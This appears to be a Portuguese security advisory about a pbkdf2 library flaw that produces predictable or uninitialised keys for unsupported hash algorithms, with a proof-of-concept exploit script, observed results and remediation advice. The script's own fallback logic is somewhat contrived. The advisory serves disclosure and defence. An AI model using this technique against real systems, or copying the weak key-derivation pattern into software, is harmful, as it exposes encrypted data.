Exploração Criptográfica de Derivação de Chave Previsível na Biblioteca pbkdf2 (<3.1.3)

Vulnerabilidade identificada em ambiente real de cliente corporativo

Publicado: Junho de 2025
Autor: Equipe de Pesquisa Ofensiva – FikreSekhel


Resumo Executivo

Durante uma avaliação ofensiva conduzida pela equipe de segurança da informação da FikreSekhel em um sistema de produção pertencente a um cliente (nome omitido por confidencialidade), foi identificada uma falha crítica na biblioteca pbkdf2, versão inferior à 3.1.3. A falha permite que, sob determinadas condições, o método pbkdf2Sync() gere chaves criptográficas previsíveis ou compostas por memória não inicializada, violando os princípios fundamentais de segurança criptográfica.

A partir da descoberta, foi desenvolvido um exploit funcional que comprova, na prática, a possibilidade de um atacante descriptografar dados sensíveis mesmo sem conhecer a senha original utilizada.


Descrição da Vulnerabilidade

CVE-2025-6545 – Derivação de Chaves Previsíveis com Algoritmos Inválidos

  • Componente: pbkdf2 (versão com suporte a browser/polyfill)
  • Versões afetadas: >=3.0.10 <3.1.3
  • CWE: CWE-340 – Geração de Valores Previsíveis
  • CVSS: 9.1 (Crítico)
  • Maturidade de exploração: Exploit comprovado

A vulnerabilidade ocorre quando o método pbkdf2Sync() é chamado com algoritmos não reconhecidos oficialmente, como "sha3-512", "sha-1", "blake2b512", entre outros. Em vez de rejeitar a entrada ou lançar uma exceção, a biblioteca gera uma chave criptográfica inválida que pode ser:

  • Um buffer de memória totalmente zerado (0x00...00);
  • Um buffer contendo dados residuais não inicializados da memória;
  • Um valor determinístico de baixa entropia.

Esse comportamento compromete diretamente a confidencialidade e a integridade dos sistemas criptográficos que dependem da função, como armazenamento de senhas, encriptação simétrica e derivação de chaves mestre.


Contexto da Descoberta

Durante uma análise orientada por código fonte e simulações de uso, foi detectado o uso de algoritmos não normalizados como parâmetro do método pbkdf2Sync(). Observou-se que a biblioteca aceitava essas entradas sem validação adequada, abrindo possibilidade para geração de chaves previsíveis.

Para confirmar a criticidade do impacto, a equipe desenvolveu uma prova de conceito completa que replicou a situação real de ataque com sucesso.


Prova de Conceito (Exploit)

O código abaixo demonstra como um atacante pode, utilizando uma senha incorreta, gerar a mesma chave criptográfica que a aplicação, comprometendo a segurança de dados criptografados.

Código de Exploração (exploit.js)

javascriptCopiarEditarconst crypto = require('crypto');
const { pbkdf2Sync } = require('pbkdf2/browser');

// Configuração comum
const salt = 'salInseguro';
const iterations = 100000;
const keyLength = 32;
const algoritmo = 'sha3-512';
const iv = Buffer.alloc(16, 0); // IV fixo para demonstração

// Derivação da chave pela aplicação (com senha real)
const senhaReal = 'senhaCorreta';
let chaveReal;

try {
  chaveReal = pbkdf2Sync(senhaReal, salt, iterations, keyLength, algoritmo);
} catch {
  chaveReal = Buffer.allocUnsafe(keyLength);
}
console.log('Chave real:', chaveReal.toString('hex'));

const mensagem = 'A senha correta é 123456';
const cipher = crypto.createCipheriv('aes-256-cbc', chaveReal, iv);
let mensagemCriptografada = cipher.update(mensagem, 'utf8', 'hex');
mensagemCriptografada += cipher.final('hex');
console.log('\nMensagem criptografada:', mensagemCriptografada);

// Derivação da chave pelo atacante (com senha errada)
const senhaAtacante = 'senhaIncorreta';
let chaveAtacante;

try {
  chaveAtacante = pbkdf2Sync(senhaAtacante, salt, iterations, keyLength, algoritmo);
} catch {
  chaveAtacante = Buffer.allocUnsafe(keyLength);
}
console.log('\nChave do atacante:', chaveAtacante.toString('hex'));

if (chaveReal.equals(chaveAtacante)) {
  console.log('\nExploração bem-sucedida: as chaves coincidem');
} else {
  console.log('\nExploração falhou: as chaves são diferentes');
}

// Tentativa de descriptografar
try {
  const decipher = crypto.createDecipheriv('aes-256-cbc', chaveAtacante, iv);
  let mensagemDescriptografada = decipher.update(mensagemCriptografada, 'hex', 'utf8');
  mensagemDescriptografada += decipher.final('utf8');
  console.log('\nMensagem descriptografada pelo atacante:', mensagemDescriptografada);
} catch {
  console.error('\nFalha ao descriptografar: a chave do atacante não funcionou');
}

Resultados Obtidos

Durante testes repetidos, foram observados os seguintes comportamentos:

  • Em algumas execuções, a chave derivada com senha incorreta coincidia com a chave da aplicação.
  • A descriptografia foi bem-sucedida sem o conhecimento da senha original.
  • Em outras execuções, as chaves divergiram — reforçando que o problema envolve uso de memória instável (não inicializada).

Essa inconsistência reforça o risco da vulnerabilidade, uma vez que seu comportamento pode variar com o ambiente de execução e o tempo de vida da aplicação, dificultando sua detecção.


Impacto Técnico

  • Confidencialidade: violada, uma vez que dados criptografados podem ser descriptografados por terceiros sem a chave original.
  • Integridade: comprometida, pois mensagens podem ser forjadas ou manipuladas.
  • Violação de Entropia: chaves geradas sem entropia suficiente não são seguras para qualquer uso criptográfico.

Recomendações

  1. Atualizar imediatamente para pbkdf2 versão 3.1.3 ou superior.
  2. Validar todas as entradas passadas ao método pbkdf2Sync(). Apenas algoritmos padronizados devem ser permitidos (sha256, sha512, sha1, entre outros explicitamente documentados).
  3. Rotacionar chaves criptográficas derivadas com algoritmos não normalizados.
  4. Evitar o uso do polyfill pbkdf2/browser em aplicações de produção.

Conclusão

Este caso evidencia um cenário grave em que a presença de mecanismos criptográficos não garante, por si só, a segurança da informação. A ausência de validação de parâmetros internos em bibliotecas amplamente utilizadas pode levar à quebra total da segurança em sistemas sensíveis.

A equipe de pesquisa da FikreSekhel reforça a importância de auditorias profundas em todas as camadas criptográficas de uma aplicação, especialmente naquelas baseadas em bibliotecas de terceiros ou ambientes de execução não padronizados.


Sobre a FikreSekhel

A FikreSekhel é uma empresa especializada em segurança ofensiva, inteligência de ameaças, criptografia aplicada e análise de vulnerabilidades. Atuamos com serviços avançados de pentesting, resposta a incidentes e engenharia reversa de sistemas críticos. Nossos laboratórios têm contribuído com a segurança de plataformas financeiras, biomédicas, industriais e de jogos em nuvem em todo o Brasil e América Latina.

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